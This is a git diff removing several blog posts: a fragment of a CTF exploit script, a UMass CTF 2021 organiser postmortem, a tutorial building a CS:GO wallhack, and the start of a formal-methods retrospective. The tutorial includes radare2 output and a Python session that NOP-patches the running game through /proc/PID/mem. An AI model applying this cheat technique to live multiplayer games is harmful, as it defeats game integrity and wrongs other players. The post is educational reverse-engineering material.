-p.sendline(struct.pack("Q", FLAG_ADDR)) -p.recvuntil("> ") -p.sendline("version") -print(p.recvuntil("> ")) -#+END_SRC - -[fn:1] Or =next= if you're some sort of filthy C programmer. diff --git a/org/UMass CTF 2021 Postmortem/umass-ctf-2021-postmortem.org b/org/UMass CTF 2021 Postmortem/umass-ctf-2021-postmortem.org deleted file mode 100644 index aae7793..0000000 --- a/org/UMass CTF 2021 Postmortem/umass-ctf-2021-postmortem.org +++ /dev/null @@ -1,342 +0,0 @@ -#+TITLE: UMass CTF 2021 Postmortem -#+DATE: <2021-04-19 Mon 10:24> -#+TAGS: writeup, capture-the-flag - -This was the first year our capture-the-flag event, [[https://ctftime.org/event/1282][UMass CTF 2021]], was open to -the public. The competition started Friday, March 26th at 18:00 EDT, and ended -Sunday, March 8th at the same time. By the end of the competition, we had *1991 -registered users*, belonging to *1160 registered teams*. No teams were tied, we had -just one unsolved challenge, and each of the "harder" challenges had just one or -two solves. - -In this post, I will be reflecting on what we did well, and how we intend to -improve for next year's UMass CTF. - -But, before I begin, I realize that some may not know *what a capture-the-flag -(CTF) is*. If you need an explanation, I will direct you to [[https://dev.to/atan/what-is-ctf-and-how-to-get-started-3f04][this article]]. - -A huge thank you to the rest of the [[https://umasscybersec.org/][UMass Cybersecurity Club]], especially those -on infrastructure who worked around the clock to help me fix challenges. Thank -you to my beautiful, loving partner, who helped me come up with the names and -flags for quite a few challenges. Thank you to my loving parents, who hosted me -while I worked on this, my degree, and my research. Thank you to my best friend, -who made some challenges when I mentioned the competition to him. - -Table of Contents: - -- [[*Challenge Design][Challenge Design]] - - [[*replme (and replme2)][replme + replme2]] - - [[*babushka][babushka]] - - [[*chains][chains]] - - [[*scarymaze][scarymaze]] - - [[*stegtoy][stegtoy]] - - [[*warandpieces][warandpieces]] - - [[*suckless2][suckless2]] - - [[*easteregg][easteregg]] - - [[*lambda][lambda]] -- [[*Lessons Learned][Lessons Learned]] - - [[*Playtesting a Priority][Playtesting a Priority]] - - [[*Obvious Solutions Should Be Obvious][Obvious Solutions Should Be Obvious]] - - [[*Challenge Update Transparency][Challenge Update Transparency]] - - [[*Matchmaker][Matchmaker]] - -* Challenge Design - -I'll get one thing out of the way: writing challenges *will take much more time -than you're expecting it to*. I was asked to come up with ten or so challenges -about three months before we were supposed to go live. I thought I'd be able to -get them done over the course of a weekend before spring semester started. In -reality, I was working on challenges up to the day of. - -Below are some thoughts on the challenges I made, from what I would consider -"most interesting" to "least interesting". Nearly every challenge had something -go wrong with it. - -# At the time I began working on challenges, I hadn't played in a CTF in almost a -# year. I was working off a combination of old memories and vague ideas of -# situations I would expect to see in the real world. It's possible challenge -# creation would not have taken as much time had I been more active in the -# community at the time. - -# a handful of people mentioned that they enjoyed playing in our competition -# much more than in the [[https://ctftime.org/ctf/52][VolgaCTF qualifier]], which was running at the same time. - -** replme (and replme2) - -This was my favorite challenge. - -Writeups: -- [[https://anee.me/janet-v1-1-repl-sandbox-bypass-f8bbe141a4f1][Janet v1.1 REPL Sandbox Bypass]] (by [[https://twitter.com/lionaneesh][Aneesh Dogra]]) -- [[https://thegoonies.github.io/2021/03/28/umass-ctf-2021-replme/][UMass CTF 2021 - replme [pwn]​]] (by [[https://thegoonies.github.io/2021/03/28/umass-ctf-2021-replme/][TheGoonies]]) -- [[https://yichenchai.github.io/blog/umassctf-replme][UMassCTF'21 replme writeup]] (by [[https://yichenchai.github.io/blog/umassctf-replme][Chai Yi Chen]]) - -Older versions of the [[https://janet-lang.org/][Janet programming language]] had a vulnerable [[https://leonardschuetz.ch/blog/nan-boxing/][NaN boxing]] -implementation. An attacker capable of running arbitrary Janet code could write -specific bytes to a =float64= object, resulting in type confusion. - -The challenge presented itself as an [[https://replit.com/][online REPL]] for Janet[fn:1] that -blacklisted functions dealing with the filesystem. The blacklisting was done by -overwriting the functions with one that would error (i.e. =(defn os/shell [&] -(error ...=). The /intended/ solution was to use the NaN boxing vulnerability to -create a =cfunction= object that pointed at the original implementation. - -The reason there was a replme2 is that I didn't blacklist all of the relevant -functions. At least one team realized that they could call =(slurp "flag.txt")=. -This is something that [[*Playtesting a Priority][playtesting by the rest of the team]] likely would have -caught, but I'll save that for a later section. Sunday morning, I released a -fixed version. Some teams solved it instantly, indicating that they had either -found a different unintended solution, or that they had solved replme the -intended way. - -** babushka - -A Python bytecode crackme. The challenge was titled "babushka" because the -program is designed like a [[https://en.wikipedia.org/wiki/Matryoshka_doll][matryoshka doll]]. There is one entry point to a long -chain of functions, each one unpacking and calling the next in the chain. - -Each of these functions does some check on the input. All of them, except for -the fourteenth, have some check that involves a decoy flag, and some way of -combining the results of the checks further down. They are combined such that -only the output of one of the 500 functions is used. - -The intended solution was to write a script to extract all of the functions, and -look at the code for combining function outputs to see which mattered. You could -then manually reverse engineer that function to get the flag. - -The way the input is checked is about the same across all functions, so in -theory, one could write a script to extract the value the input is checked -against from all of the functions, and then try all 500 to see which one worked. - -I [[https://git.sr.ht/~jakob/umass-ctf-2021-challenge-writeups/tree/master/item/babushka/gen.py][programmatically generated]] and obfuscated the script that was given to teams. -This challenge was fairly unremarkable, besides there being no writeups, and -some people giving me flak because it didn't work on their version of Python. - -Oh well. I had a lot of fun making it. - -** chains - -Writeups: -- [[https://ctftime.org/writeup/26868][chains]] (by [[https://ctftime.org/user/48335][Chris Greene]]) -- [[https://scavengersecurity.com/posts/umass-chains/][UMassCTF 2021 - Chains [Reversing]​]] (by [[https://scavengersecurity.com/][Scavenger Security]]) -- [[https://github.com/1GN1tE/CTF_Writeups/tree/main/Writeups/UMassCTF_2021/Chains][Chains]] (by [[https://github.com/1GN1tE][Arijeet Mondal]]) - -This was an "optimizeme" challenge, one where the flag is generated by an -inefficient algorithm. To get the flag in a reasonable amount of time, one would -need to either patch the algorithm or reimplement it. - -Here, the characters of the flag were encoded as very large numbers, and the -program would, for each character, generate the entire [[https://en.wikipedia.org/wiki/Collatz_conjecture][Collatz sequence]] to see -where that number occurs. There were some pretty clever solutions, but the one I -used when I was playtesting was to memoize the Collatz function. - -Oh, and to make it less reasonable for someone to let the program run for the -duration of the competition, I compiled for AARCH64. I apologize to the handful -of people who were unable to get an ARM environment set up.[fn:3] - -** scarymaze - -This was my second favorite challenge, even though a lot went wrong with it. - -This was a networked maze game written in [[https://www.rust-lang.org/][Rust]], where the server would -spit out the flag after 500 mazes had been solved. I spent a lot of time on the -packet format and the renderer. - -#+CAPTION: Raycaster with "hacker terminal green" walls. -[[./umass-ctf-2021-postmortem-1.png]] - -Communications between the client and the server were encrypted. The algorithm -was AES-128-CBC with the key =STRINGS NOT HERE=.[fn:4] I made things slightly -easier by using OpenSSL for the AES implementation, and slightly harder by -linking statically. If I'd linked dynamically, it would have been trivial to run -the client with [[https://www.ltrace.org/][ltrace]]. Static linking should've helped somewhat, since the -OpenSSL =.a= includes a ton of informative strings, but no one came close to a -solution until I'd re-released the client binary with symbols. - -And then, in the last 30 minutes or so of the competition, two people had -scripts, but the server was crashing around 200 mazes in. I couldn't figure out -the bug in that short period of time, so I hastily re-deployed with a server -that would spit out the flag after 50 solves. It was stressful. - -Small lesson: networked games, where someone has to reimplement the protocol, -should be somewhat tolerant to errors. In this case, the server panicked and -closed the connection if there was /anything/ wrong with the header, which I'll -admit is bullshit. - -** stegtoy - -The idea of leaking memory through a visual medium is neat to me, so I made a -[[https://git.sr.ht/~jakob/umass-ctf-2021-challenge-writeups/tree/master/item/stegtoy/bmpencode.c][shitty]] BMP utility that encodes text into the least-significant bits of the -image data. Source code wasn't made available during the competition, as I find -leaking memory blindly to be more interesting. - -This seemed to make it a very difficult challenge. Only one team solved it, -which surprised me. BMP is [[https://github.com/corkami/pics/blob/master/binary/BMP.png][simple]] enough that there are only so many things one -could have tried. Anyway, the intended solution was to overwrite the "data -start" pointer in some BMP file so that the tool would leak the heap data -containing the flag. - -** warandpieces - -Writeups: -- [[https://ctftime.org/writeup/26805][War and Pieces]] (by [[https://ctftime.org/user/106112][legallybearded]]) -- [[https://ctftime.org/writeup/26803][War and Pieces]] (by [[https://ctftime.org/user/68391][ugotjelly]]) - -This wasn't one I had originally planned. I was in the grocery store one day and -saw a bag of toy army soldiers for $1.99. I bought them because that was one of -my favorite things to play with when I was younger. My mother, upon seeing them, -asked if I had gotten them for the CTF, which gave me the idea. - -The pieces came in 6 poses and 2 colors. I encoded the flag as hexadecimal, and -assigned each combination of pose/color/orientation to a hexadecimal nibble. In -retrospect, the challenge would've been more interesting had I treated the flag -as a natural number, and written it in base-12 using the piece alphabet. - -The flag was supposed to be =UMASS{lil_t0y_s0lj4s}=, but I made a mistake when -lining up the pieces: in the script I had made to help me line up the toys for -the picture, I had accidentally used the same color for two different digits. -Someone was kind enough to point it out, so we accepted the mangled flag -(=UMASS{lfl_t0v_s0lj4s}=). This wasn't a great decision, though, since you -wouldn't realistically be able to pull that out of list of guesses. I should -have just done the picture over again. - -I'm hoping that next time, I won't be working on challenges in the week before -the competition. Here, I had only playtested the first few steps because I was -so short on time, hence this mistake falling through the cracks. - -** suckless2 - -Writeups: -- [[https://drowsycat256.tistory.com/3][suckless2 writeup]] (by [[https://drowsycat256.tistory.com/][renia256]]) - -I have little to say. Someone asked if I could recycle some of my challenges -from last year, but I had already posted a [[http://jakob.space/blog/umass-ctf-2020-writeup.html][writeup]]. I ended up modifying the -challenge in a way that would render my exploit useless, and releasing that as a -challenge. It was meant to be easy. - -** easteregg - -Writeups: -- [[https://szymanski.ninja/en/ctfwriteups/2021/umassctf/easteregg/][UMassCTF'21: easteregg]] (by [[https://szymanski.ninja/en/about/][Łukasz Szymański]]) -- [[https://gitlab.com/hacklabor/ctf/writeup/-/blob/master/reverse/easteregg_umass21/easteregg_.md][easteregg]] (by [[https://hacklabor.de/][Th0m4sK]]) -- [[https://www.youtube.com/watch?v=l9zRBJJYTgg][Easteregg UMASS CTF 21]] (by [[https://twitter.com/hacklabor][Hacklabor]]) -- [[https://www.youtube.com/watch?v=Ao5r6ptvKGc][Engenharia reversa - UMass CTF'21 - 'Easteregg' Writeup]] (by [[https://twitter.com/m0v_ebp_esp][zapzap kkkkkkkkkkkkkkkkkkkkk '-']]) - -Like warandpieces, this was not a challenge I had originally planned to make. -One of the problem sets for the introduction to computer systems class this -semester involved reverse engineering an ELF binary. In an effort to appeal to -students who actually attend UMass, I was asked to make an easy reverse -engineering challenge in the same vain. - -I took that class two years ago, and I still had the programs I'd written for -it, so I took one of them (a text adventure game), added an "easter egg" that -you would need to reverse engineer the executable to find, and uploaded it. - -This was one of the most solved challenges. - -** lambda - -Next year, no more compiled Haskell. - -I spent a lot of time on a cool sine scroller with one of my [[https://www.youtube.com/watch?v=gMTyMetv5Sk][favorite mod files]] -playing in the background. - -#+CAPTION: The dreaded 'lambda' challenge. -[[./umass-ctf-2021-postmortem-2.png]] - -And then I made the mistake of writing the key check algorithm in Haskell. This -is a reminder that there's a fine line between "possible" and "reasonable". No -one solved this. - -When I'm done with school in two weeks, I'll give this my all, and give it a -proper write-up. - -* Lessons Learned - -Now, I'll share some specific morsels of wisdom that came to me after this very -stressful weekend. - -** Playtesting a Priority - -This might be seem obvious, but please humor me. - -I made an effort to go through all of my challenges to see that they were -reasonable, and I suspect this was the case for the rest of the team as well. It -was better than nothing, but we could have done better in a couple of ways. I'll -use three challenges as examples: [[*replme (and replme2)]['replme']] and [[*warandpieces]['warandpieces']], challenges I had -created, and 'pikcha', made by Steven. - -The original [[*replme (and replme2)]["replme"]] was solvable by one function that wasn't blacklisted. I -think a less-experienced player would have come across it, and we do have a -handful of people on our team who are less familiar with the "pwn" category. - -When playtesting [[*warandpieces]["warandpieces"]], I only went through the first line or so. The -error doesn't show up until much later. If I had either solved it in full, or -had someone else playtest it, I would have caught the error. - -"pikcha" included the answer in the session. LOL. I think if I had playtested it -before we went live, I would have caught it. - -These issues could have been caught if /we playtested our peer's challenges/. - -This is what I have proposed to do next time: for every challenge, we choose two -other people to playtest it. That way, there are three (if you include the -challenge creator) pairs of eyes on the challenge. The only work on challenges -happening in the last month should be fixing issues that come up during -playtesting. Playtesters should also be tracking how much time they spend on -each challenge. - -** Obvious Solutions Should Be Obvious - -Often, a CTF will have an easy "entry" challenge that doesn't require any -solving. The flag might be given in the challenge description. In our case, it -was hidden /somewhere/ in the communication platform we used. As an idea, it looks -good on paper, but actually implementing the challenge was one of the biggest -mistakes we made. We had nearly a hundred people spamming some variation of -"/flag" or "!flag" into the chat, and a handful of people opening support -tickets because they thought the flag was supposed to be obtained by talking to -us. - -A few minutes in, someone made the following joke: - -#+BEGIN_SRC prog -: UMASS{WowIReallySuck...} -: !flag -: I actually hate myself... -: I found the flag. -#+END_SRC - -Besides 'UMASS{flag}', which is what we had in the message describing the flag -format, 'UMASS{WowIReallySuck...}' was the second most popular incorrect answer -for this challenge. - -It was a mess. No more challenges like this.[fn:2] - -** Challenge Update Transparency - -When challenges went down, or were modified, announcements went through our -communication platform. Not everyone saw those announcements, and some teams had -an unfair advantage by getting both broken and fixed versions of the same -challenge. - -Next year, announcements will occur on the CTF platform as well. And hopefully, -with our commitment to playtesting, we will not need to fix any challenges after -going live, but we will ensure the old versions are still available if we do. - -** Matchmaker - -Some people seemed to still be looking for teams in the week leading up to the -competition, so I put together a little form where people would enter their -experience, timezone, etc. - -It was a good idea, but I think only about one team came about from this, since -a lot of people either put bad contact information or flaked. - -Next year, the matchmaking form will be available at the time we announce the -competition, and the matchmaking process will be partially automated. - ---- - -[fn:1] It isn't really a REPL. Just a =textarea= for a Janet script, and a button that runs it, showing the output in a different =textarea=. -[fn:2] I honestly didn't like the idea in the first place, because I hate Discord and don't want to feel as though I'm forcing people to use it if they don't already. But I digress... -[fn:3] Someone mentioned being on mobile data, and that QEMU would have been prohibitively large for his plan. I felt terrible. -[fn:4] Surprisingly, nobody asked me about this. I thought this would have been a dead giveaway. diff --git a/org/Understand Game Hacking In One Post/understand-game-hacking-in-one-post.org b/org/Understand Game Hacking In One Post/understand-game-hacking-in-one-post.org deleted file mode 100644 index b487011..0000000 --- a/org/Understand Game Hacking In One Post/understand-game-hacking-in-one-post.org +++ /dev/null @@ -1,181 +0,0 @@ -#+TITLE: Understand Game Hacking In One Post -#+DATE: <2017-09-05 Tue 15:06> -#+TAGS: tutorial, reverse-engineering, video-games, game-hacking, x86, c++, radare2 - -At a first glance, it might seem that game cheats like [[https://github.com/AimTuxOfficial/AimTux][AimTux]] are something that -could only be conjured by the most talented of reverse engineers. That was at -least my initial view on it, especially since I always saw these game hackers -using outlandish terms that I hadn't heard in over a year of playing in CTF's. -Don't be fooled; game hacking isn't nearly as complex as its community makes it -seem. In this post, I will explain the concepts in a way that is familiar to -people with experience in binary exploitation and reverse engineering, but it -shouldn't be too hard to understand if you lack that background. - -You want to know the secret of game hacking? Editing memory. Much can be -accomplished with nothing more than a few writes to process memory. This should -be unsurprising if you've used Cheat Engine, scanmem, or even the Game -Genie. Memory editing, despite the fact that much is nowadays validated on the -server, remains king in the cheat market. Reading and writing memory be your -primitives, and I'll show you just how effective they can be by walking you -through a basic wallhack for CS:GO. I choose Counter-Strike as an example, -because there is a wealth of information out there, and it has an active -commmunity constantly hacking on it. In case you want to go forth and do more on -your own, y'know? - -First, I should explain the two methods of editing process memory. Developers of -game hacks refer to the methods as "internal" and "external", where internal -means a dynamic library that gets injected into the game's address space, and -external means a separate process that manipulates memory by means of the -operating system. [[https://github.com/AimTuxOfficial/AimTux][AimTux]] is an example of an internal hack, and [[https://gitgud.io/vc/vcaim][vcaim]] is an -example of an external hack. We'll be writing an external cheat in this blog -post. Although, if you want to learn more about writing internal cheats on -Linux, [[https://aixxe.net/2016/09/linux-skin-changer][this blog post by Aixxe]] is excellent. - -Next, there's some terminology that people use when talking about -memory-manipulating cheats. "Offsets," and "signatures." If you've ever -performed a ret2libc attack on a system with ASLR, you already know about -offsets. It's just a number you add to the address at which a library was loaded -to get the position of something in memory. In the case of ret2libc, you're -trying to get to a function like =system(3)=, but in the case of CS:GO hacks, -you're trying to get to get something like a list of entities currently in the -game. You can try to find functions, too, which we'll be doing in this post to -write wallhacks, but most legit CS:GO hacks go after entity data. - -Games get updated and therefore recompiled quite often, so offsets are -constantly changing. To combat this, cheat developers developed ways to scan for -"signatures" in memory. That is, patterns of bytes that will reveal the offset - -either by being around the desired offset, or being code that references it. If -you get signatures from someone, it will probably look like "B9 ? ? ? ? 6A 00 FF -50 08 C3". Those are hexpairs, and the question marks are bytes that get ignored -because they're an address or something that will likely end up changing in a -future update. - -Oh yeah, probably should've mentioned why we're using offsets instead of fixed -addresses. It /is/ because of ASLR - a lot of CS:GO's code is stored in shared -libraries. Specifically, =client_client.so= and =engine_client.so=. Where these -are depends on whether you're using an amd64 or an x86 processor. Just use -=find(1)= in the Steam directory, man. - -As a heads up, this cheat is mostly a [[https://aixxe.net/2017/06/kernel-game-hacking][paste I stole from Emma]]. I didn't come up -with it myself, but I thought that it was simple enough to be an example for -this post. - -The way we're going to go about writing our wallhack is pretty primitive, -patching the =.text= segment. Although we're going to do this by editing memory, -not the binary on disk. In CS:GO, there's a "glow" effect that spectators have - -allowing them to see the outlines of other players in gamemodes like Casual. If -we can find the offset to the code that checks if we're a spectator or not and -patch it, we can enable the glowing effect and see through walls. - -The glow effect is also controlled by a "cvar," which is just a client-side -configuration variable. Specifically, it checks "spec_show_xray". If we open up -=client_client.so= in radare2, we can see that that's a plain ASCII string and -that there are two references to it in the =.text= segment. - -#+BEGIN_SRC -[0x005eef60]> iz~spec_show_xray -vaddr=0x0135c245 paddr=0x0135c245 ordinal=3016 sz=15 len=14 section=.rodata type=ascii string=spec_show_xray -[0x005eef60]> iS -[Sections] -... -idx=11 vaddr=0x005eef60 paddr=0x005eef60 sz=13998500 vsz=13998500 perm=--r-x name=.text -... - -40 sections - -[0x005eef60]> e search.from=0x005eef60 -[0x005eef60]> e search.to=0x005eef60+13998500 -[0x005eef60]> /r 0x0135c245 -[0x01348878-0x01348904] data 0x6236aa leaq str.spec_show_xray, %rsi in unknown function -data 0x71817c leaq str.spec_show_xray, %rsi in unknown function -#+END_SRC - -If we seek to the first one, we'll see a dissasembly listing like this - -#+BEGIN_SRC asm :hl_lines 0 -0x00623690 4c8d0de9c664. leaq 0x00c6fd80, %r9 -0x00623697 b980000800 movl $0x80080, %ecx -0x0062369c 4c8d05c5fdd9. leaq 0x013c3468, %r8 ; "If set to 1, you can see player outlines and name IDs through walls - who you can see depends on your team and mode" -0x006236a3 488d159af1d3. leaq 0x01362844, %rdx ; "0" -0x006236aa 488d35948bd3. leaq 0x0135c245, %rsi ; "spec_show_xray" -0x006236b1 488d3d080df6. leaq 0x065843c0, %rdi -0x006236b8 e8c3278e00 callq 0xf05e80 -#+END_SRC - -This is how cvars are "constructed" in the source engine. %rdi contains the -address of the actual variable, which is at =0x065843c0=. This is done so that -the variable can be changed from the in-game console, if the player so desires. -But what this means for us is that we can easily find the address of a cvar in -memory. If we look for references to that address, we'll find a handful. - -#+BEGIN_SRC -[0x006236aa]> /r 0x065843c0 -[0x01348782-0x01348904] data 0x6236b1 leaq 0x065843c0, %rdi in unknown function -data 0x6236c3 leaq 0x065843c0, %rsi in unknown function -data 0x7b7f57 movq 0x01bd5180, %rdi in unknown function -data 0x7b901b movq 0x01bd5180, %rbx in unknown function -data 0xc5ac60 movq 0x01bd5180, %rax in unknown function -data 0xc664d4 leaq 0x065843c0, %rax in unknown function -data 0xc7e86c leaq 0x065843c0, %rax in unknown function -data 0xc8bc34 movq 0x01bd5180, %rax in unknown function -data 0xd78699 movq 0x01bd5180, %rax in unknown function -data 0xda8601 movq 0x01bd5180, %rax in unknown function -data 0xda9d0f movq 0x01bd5180, %rax in unknown function -data 0xe3db40 movq 0x01bd5180, %rax in unknown function -#+END_SRC - -A little of trial and error, combined with looking at the [[https://www.unknowncheats.me/forum/counterstrike-global-offensive/212843-mac-binaries-symbols.html][OSX binaries with -symbols]], yields that =0xc664d4= is the address that we're looking for - the -function responsible for glowing. - -#+BEGIN_SRC asm :hl_lines 0 -0x00c664c0 e80be7b3ff callq 0x7a4bd0 -0x00c664c5 84c0 testb %al, %al -0x00c664c7 0f84c3010000 je 0xc66690 -0x00c664cd 488b3d24df91. movq 0x065843f8, %rdi ; [0x65843f8:8]=0 -0x00c664d4 488d05e5de91. leaq 0x065843c0, %rax -0x00c664db 4839c7 cmpq %rax, %rdi -... -#+END_SRC - -That first call is the actual check, the symbol for it in the OSX binaries is -"CanSeeSpectatorOnlyTools". So if we patch the jump at =0x00c664c7=, we should -be able to see the glow effect as long as "spec_show_xray" is set to 1. - -This is pretty easy, since we just need to change 6 bytes. I initially -considered using =dd(1)= for this, but it doesn't seem to like touching procfs -mem files, so instead we'll edit it from a python REPL. - -#+BEGIN_SRC -[jakob@Epsilon ~]$ sudo grep -i client_client.so /proc/$(pidof csgo_linux64)/maps -7f5029915000-7f502b0e4000 r-xp 00000000 08:12 41426690 csgo/bin/linux64/client_client.so -7f502b0e4000-7f502b2e4000 ---p 017cf000 08:12 41426690 csgo/bin/linux64/client_client.so -7f502b2e4000-7f502b571000 rw-p 017cf000 08:12 41426690 csgo/bin/linux64/client_client.so -[jakob@Epsilon ~]$ sudo python -Python 3.6.2 (default, Jul 20 2017, 03:52:27) -[GCC 7.1.1 20170630] on linux -Type "help", "copyright", "credits" or "license" for more information. ->>> OFF = 0x7f5029915000 + 0x00c664c7 ->>> with open("/proc/9052/mem", "wb") as mem: -... mem.seek(OFF) -... mem.write(b"\x90" * 6) -... -139982284502215 -6 ->>> -#+END_SRC - -And it seems to work pretty well. I know I didn't go into a whole lot of depth -about how you would actually come up with a cheat like this, but the reality is -that a lot can be figured out using some basic reverse engineering skills. You -already saw how much information leakage there is from a simple string -reference. There's a lot of information out there already, including the source -code for the [[https://github.com/ValveSoftware/source-sdk-2013][Source 2013 Base]]. I'd also recommend taking a look at the -[[https://www.unknowncheats.me/forum/index.php][UnknownCheats]] community if you're interested in learning more, they're -(generally) helpful and quite friendly. - - -Further Reading: - -- [[https://www.unknowncheats.me/forum/counterstrike-global-offensive/169923-cs-cheat-rookie-rookies.html][CS:GO Cheat-Making: From a rookie to rookies]] -- [[https://www.unknowncheats.me/forum/general-programming-and-reversing/133228-implement-pattern-scanning-obtain-offsets-dynamically.html][How to implement pattern-scanning to obtain offsets dynamically]] diff --git a/org/What I've Learned About Formal Methods In Half a Year/what-ive-learned-about-formal-methods.org b/org/What I've Learned About Formal Methods In Half a Year/what-ive-learned-about-formal-methods.org deleted file mode 100644 index 214fde6..0000000 --- a/org/What I've Learned About Formal Methods In Half a Year/what-ive-learned-about-formal-methods.org +++ /dev/null @@ -1,2118 +0,0 @@ -#+TITLE: What I've Learned About Formal Methods In Half a Year -#+DATE: <2023-04-10 Mon 07:21> -#+TAGS: writeup, formal-verification, lean, alloy, lisp, scheme -#+STARTUP: latexpreview -#+HAUNT_METADATA: (("meta-tags" . "((\"twitter:card\" . \"summary\") (\"twitter:site\" . \"@0daysfordays\") (\"twitter:creator\" . \"@0daysfordays\") (\"og:description\" . \"A retrospective on a few months of working on a graduate degree in computer science.\") (\"og:image\" . \"https://jakob.space/static/image/opengraph-icon-coq.jpg\"))")) - -I started working on my master's degree last September. The goal was to return to my workplace as a domain expert in formal methods -- a topic I knew I was interested in, and yet something I knew practically nothing about. I partially attribute my lack of exposure to the lack of supervised learning opportunities (courses) at my undergraduate institution.[fn:1] Brown has an ample supply of teaching and research faculty who work in the field, though, so I've been taking advantage of that and soaking up as much knowledge as I can. I'm writing this to summarize what I've learned and done through my few months at grad school, and also to touch on what I have yet to learn because, as it turns out, three semesters is not nearly enough time to become a "domain expert" in anything. A beginning practitioner, perhaps, but I'm sure even that's an overly-generous characterization.[fn:2] - -The two courses I've taken so far which specifically treat formal methods are [[https://csci1710.github.io/2023/][CSCI 1710: Logic for Systems]] and [[https://browncs1951x.github.io/][CSCI 1951X: Formal Proof and Verification]]. Shriram Krishnamurti described them, aptly, as two differing approaches to software verification, and I hope that this article gives some intuition as to what those approaches are and how they differ. - -I have made an effort to ensure that what I have written here is correct. But, alas, /errare humanum est/. I am still a student of the topic, and not yet a teacher. You are welcome to contact me or comment below if you find any statements that need to be corrected. - -* What Are Formal Methods? - -It doesn't matter what you call yourself -- programmer, software engineer, computer scientist, hobbyist -- if you've written software before, you're almost certainly familiar with the idea of testing: writing supplemental code to verify something about some other code you've written. Arguably, the most common form of testing is providing input/output examples. Consider the following program: - -#+BEGIN_SRC scheme -(use-modules (srfi srfi-1) - (srfi srfi-26)) - -(define (singleton? xs) (= 1 (length xs))) - -(define (quicksort l) - (if (singleton? l) - l - (append (quicksort (filter (cut > (car l) <>) (cdr l))) - (list (car l)) - (quicksort (filter (cut < (car l) <>) (cdr l)))))) -#+END_SRC - -We might gain some confidence that this correctly [[https://en.wikipedia.org/wiki/Sorting_algorithm][sorts a list]] by writing a few examples. - -#+BEGIN_SRC scheme -(use-modules (srfi srfi-64)) - -(test-begin "quicksort-test") - -(test-equal (quicksort '(1)) '(1)) -(test-equal (quicksort '(2 3 1)) '(1 2 3)) - -(test-end "quicksort-test") -#+END_SRC - -We can also come up with properties that we'd like to be true of the program, and validate it against randomly-generated input instances:[fn:3] - -#+BEGIN_SRC scheme -(define list-max-length 32) - -(define (random-list) - (define list-length (+ 1 (random (- list-max-length 1)))) - (map (lambda (_) (random 100)) - (iota list-length))) - -(define (sorted? xs) - (cond ((null? xs) #t) - ((singleton? xs) #t) - (else (and (<= (car xs) (cadr xs)) - (sorted? (cdr xs)))))) - -(for-each (lambda (_) - (test-assert (sorted? (quicksort (random-list))))) - (iota 1024)) -#+END_SRC - -And, indeed, these sorts of tests are incredibly helpful in writing software, but in practice they will never be exhaustive.[fn:12] There is always the possibility that some bug passes by, unbeknownst to your or your team. The "property test" above reveals how insufficient our list of examples is, as the program actually fails on most inputs. But our "property test" has a weakness of its own. In particular, it will claim that everything is okay, even if you replace the sorting algorithm with this: - -#+BEGIN_SRC scheme -(define (quicksort l) '(1 2 3)) -#+END_SRC - -Of course, this is a contrived example. =quicksort= is very easy to implement correctly (and, furthermore, to prove correct), but [[https://en.wikipedia.org/wiki/Timsort#Formal_verification][bugs in sorting algorithms that sneak by test suites]] do come up in practice. - -"Formal methods" are those which attempt to address the shortcomings of the typical means of software testing. It's a loaded term. From [[https://shemesh.larc.nasa.gov/fm/fm-what.html][NASA]]: formal methods are "mathematically rigorous techniques and tools for the specification, design and verification of software and hardware systems... the specifications used in formal methods are well-formed statements in a mathematical logic and ... formal verifications are rigorous deductions in that logic (i.e. each step follows from a rule of inference and hence can be checked by a mechanical process.)" - -Our stochastic test to assert the =sorted?= predicate is a small step in the right direction, as it provides a well-formed specification of /one/ of the properties our program should uphold. But there are other important properties as well -- in particular, that the output should be a permutation of the input. For specialized applications of sorting algorithms, we might also care about [[https://en.wikipedia.org/wiki/Sorting_algorithm#Stability][stability]]. - -The other issue is that we aren't rigorously verifying adherence to our specification. Verifying a few predicates on a few random examples isn't a proof, except in the jocular sense of "[[https://en.wikipedia.org/wiki/Proof_by_example][proof by example]]." To really be sure that our code is correct for all possible inputs, we would likely write a [[https://en.wikipedia.org/wiki/Structural_induction][proof by (structural) induction]] and implicitly appeal to the semantics of the programming language we write our program in. If we are fastidious, we can strive prove that these properties hold [[https://doclsf.de/papers/klein_sw_10.pdf][even as the source code is transformed into machine instructions]]. - -To be more succinct (but far less nuanced), I would say that "formal methods" is the use of mathematical techniques to establish properties about software and verify that those properties hold true. The former part is "formal specification," and the latter is "formal verification." - -** Why Care? - - "Software should be reliable." - -The degree to which that statement rings true could depend on your background. In my line of work, a software fault could result in people being sent home in boxes. The software that powers air transportation has to be safe and correct, lest the well-being of any souls on board is at risk. In these cases, policy (law) guides specification (what situations a piece of software needs to be able to handle, and how well), and [[https://www.faa.gov/aircraft/air_cert/design_approvals/air_software/media/TC-14-41.pdf][formal methods are known to help]] in validating that implementation upholds said specification. - -But even if your job doesn't have you losing sleep at night[fn:4], that doesn't mean you should care any less about the reliability of your software. It's frustrating to use software that you can't depend on. Have you ever missed an exit because the turn-by-turn navigation software you use [[https://www.autoevolution.com/news/waze-bugs-like-this-one-make-it-hard-to-resist-a-switch-to-google-maps-212399.html][has a bug in it]]? We should strive to write software that doesn't inflict pain or inconvenience upon its users. We should make an effort, when we can, to ensure the software we bring into the world is both minimally harmful and exceptionally useful. - -Interest in formal methods in the "non safety-critical" space has been increasing in recent years because downtime, among other things, will reliably lose a company revenue. As an interesting anecdote, the faculty I work with have noted that big cloud providers (Amazon and Microsoft) have been attracting formal methods researchers away from academia with massive salaries because they value reliability and see that formal methods reliably deliver.[fn:9] - -Even if formal methods have a reputation for being costly to adopt, and not reasonably applicable to all parts of the software engineering life cycle, my opinion is that the tooling is becoming increasingly accessible and that software practitioners should, at the very least, be aware of their capabilities. A good engineer knows to pick the right tool for the job, and there are cases where formal methods are just that. - -* Lightweight Formal Methods: Model and Property Checking - -The class I'm taking this semester, [[https://csci1710.github.io/2023/][CSCI 1710: Logic for Systems]], covers model checking with [[https://forge-fm.org/][Forge]]. Forge is practically custom-made for 1710, though it's effectively an alternative implementation of [[https://alloytools.org/][Alloy]], which is somewhat better-known. Forge is developed by [[https://cs.brown.edu/~tbn/][Tim Nelson]] alongside a handful of Brown students. - -"Lightweight" is a term that's [[https://people.csail.mit.edu/dnj/publications/ieee96-roundtable.html][sometimes]] thrown around when discussing these kinds of model checking tools. I'd summarize lightweight formal methods as those built around the idea that "it's better to have an imperfect tool that's useful than a comprehensive tool that's unusable." Alloy (and, by extension, Forge) is probably the best example of this. It's an attempt at the "smallest modelling notation that can express a useful range of structural properties, is easy to read and write, and can be analyzed automatically".[fn:5] It's designed to make it easy to model problems in an 